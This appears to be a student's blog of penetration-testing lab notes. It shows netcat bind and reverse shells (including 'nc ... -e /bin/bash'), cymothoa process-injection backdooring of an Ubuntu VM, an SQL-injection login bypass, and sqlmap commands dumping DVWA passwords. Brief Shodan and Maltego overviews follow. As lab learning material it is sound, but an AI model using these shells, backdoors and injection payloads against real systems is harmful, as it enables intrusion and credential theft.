Information Gathering Advanced

You can download the file in here

mkFIFO

The mkfifo() function shall create a new FIFO special file named by the pathname pointed to by path. The file permission bits of the new FIFO shall be initialized from mode. The file permission bits of the mode argument shall be modified by the process' file creation mask.

When bits in mode other than the file permission bits are set, the effect is implementation-defined.

If path names a symbolic link, mkfifo() shall fail and set errno to [EEXIST].

The FIFO's user ID shall be set to the process' effective user ID. The FIFO's group ID shall be set to the group ID of the parent directory or to the effective group ID of the process. Implementations shall provide a way to initialize the FIFO's group ID to the group ID of the parent directory. Implementations may, but need not, provide an implementation-defined way to initialize the FIFO's group ID to the effective group ID of the calling process.


I try to infect cymothoa with NC from my Backtrack to Ubuntu in Vbox. The version of NC in ubuntu is different than NC in Backtrack. In Backtrack, the version of NC is NC Traditional, but in Ubuntu, the version is NC OpenBSD.
In NC openBSD, there was nothing prefix -e to execute a program after connect. So i try to using mkfifo. 
First in Ubuntu terminal i typed a command mkfifo data .. After that i typed a command
nc -lk 8899 < data | /bin/bash > data
Ok now i open the console of my Backtrack and typed a command nc 192.168.56.101 8899 

Ok from the picture above, i know if i have been entry to the bin/bash of ubuntu. Then i look a proccess of ubuntu with a command ps -ax

 Last, i to entry the directory cymothoa and try to inject the proccess /bin/bash in ubuntu with command ./cymothoa -p 1415 -s 0 and i have succed to infect it.

ByPass Login Form Localhost/fbip With SQLi

Now i try to bypass a Login form in localhost/fbip

In field username, i typed an SQL cheat sheet '1 or 1=1#

Well, i got the result like this.

Finished, i have succes to bypass it.

Exploit DVWA File SQL Injection & Blind SQL Injection by Using SQLMAP

Now i try to exploit DVWA file SQL Injection & Blind SQL Injection by Using SQLMap.

First, i will try to check the different between SQL Injection & Blind SQL Injection.

How to check it.? now open the Damn Vulnerable Web Application(DVWA)

Then i change the security level to low like the picture below

Ok, now let's check the different both of them. Click on Menu SQL Injection Then in User ID column i type '1 and then will be appear a message error like this

Then, i clicked on the menu SQL Injection(Blind) and type '1 in user ID column. The result is like this

So, from the result above, i can make a conclusion if SQL Injection, when we typed '1, then it will show an error message. But in SQL Injection(Blind), if we typed '1, it will be back to that page again.

Ok, next step i try to exploit it. First i try to typed

'OR '1'='1' -- '; User Id Field and will appear information like this

Then open the sqlmap.

Sqlmap located in Apps -> Information Gathering -> Database Analysis -> MySQL Analysis -> SQLMAP

Next i typed command ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit#" --cookie="security=low; PHPSESSID=deoe27h5uel74qdvqlt96js9n0" --string="Surname" --dbs

The list of Database has been seen. Next, i typed command root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit#" --cookie="security=low; PHPSESSID=deoe27h5uel74qdvqlt96js9n0" -D dvwa --tables to see lists of the tables in database dvwa. And the result is like this.

Next, i type a command root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit#" --cookie="security=low; PHPSESSID=deoe27h5uel74qdvqlt96js9n0" -T users --column to see all contents inside the users table. And the result is like this

Then, i want to see the content of the password table. So i typed a command root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=5&Submit=Submit#" --cookie="security=low; PHPSESSID=deoe27h5uel74qdvqlt96js9n0" -C password --dump
 And finally i got the password like this.

Shodan

Shodan is a search engine that lets you find specific computers (routers, servers, etc.) using a variety of filters. 

Shodan will searching all the information about the server software, what options the service supports, a welcome message or anything else that the client would like to know before interacting with the server. 

For example, following is a FTP banner:

220 kcg.cz FTP server (Version 6.00LS) ready.

This tells us a potential name of the server (kcg.cz), the type of FTP server (Solaris ftpd) and its version (6.00LS). For HTTP a banner looks like:

Maltego

              In this session, i will try to discuss about Maltego. Maltego is an tools that used to do an Information Gathering. Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates.  

1. Maltego is a program that can be used to determine the relationships and real world links between:

• People
• Groups of people (social networks)
• Companies
• Organizations
• Web sites

    2. Internet infrastructure such as:

• Domains
• DNS names
• Netblocks
• IP addresses

    3. Phrases

    4. Affiliations

    5. Documents and files

    6. These entities are linked using open source intelligence.

    7. Maltego is easy and quick to install - it uses Java, so it runs on Windows, Mac and Linux.

    8. Maltego provides you with a graphical interface that makes seeing these relationships instant and accurate - making it possible to see hidden connections.

     9. Using the graphical user interface (GUI) you can see relationships easily - even if they are three or four degrees of separation away.

    10. Maltego is unique because it uses a powerful, flexible framework that makes customizing possible. As such, Maltego can be adapted to your own, unique requirements.

    11. Maltego can be used for the information gathering phase of all security related work. It will save you time and will allow you to work more accurately and smarter.

    12. Maltego aids you in your thinking process by visually demonstrating interconnected links between searched items.

    13. Maltego provide you with a much more powerful search, giving you smarter results.

    14. If access to "hidden" information determines your success, Maltego can help you discover it.

Put Cymothoa to Ubuntu Part 2 by Using NC

Ok, this article was a continue of a previous article about backdooring with NC to ubuntu.

Because the version of NC in my Ubuntu VBox is different than  NC in my Backtrack, so for the first step, I copy files nc.traditional, nc, and netcat in directory  /root/bin from my Backtrack to Ubuntu by using a SSH.

After that, put that file into directory /bin.

Ok, next step open the NC in backtrack then i typed command nc -l -v -p 8899 

Then in ubuntu typed a command nc 192.168.56.1 8899 -e /bin/bash in terminal.

Ok then will appear a notice if NC server has been connected to NC client.

root@bt:~# nc -l -v -p 8899

listening on [any] 8899 ...

192.168.56.101: inverse host lookup failed: Unknown server error : Connection timed out

connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 44565

Then i typed ls from my Backtrack and then will appear content in the directory ubuntu like this

Ok, next i copy directory folder cymothoa from my Backtrack to my Ubuntu by using ssh too and then from my Backtrack that have been connected to Ubuntu i try to start cymothoa.

Then i typed ps -ax to see the proccess in Ubuntu.

Last i typed a command ./cymothoa -p 1409 -s 0 -y 8899 to infect the ubuntu. And the result is like this.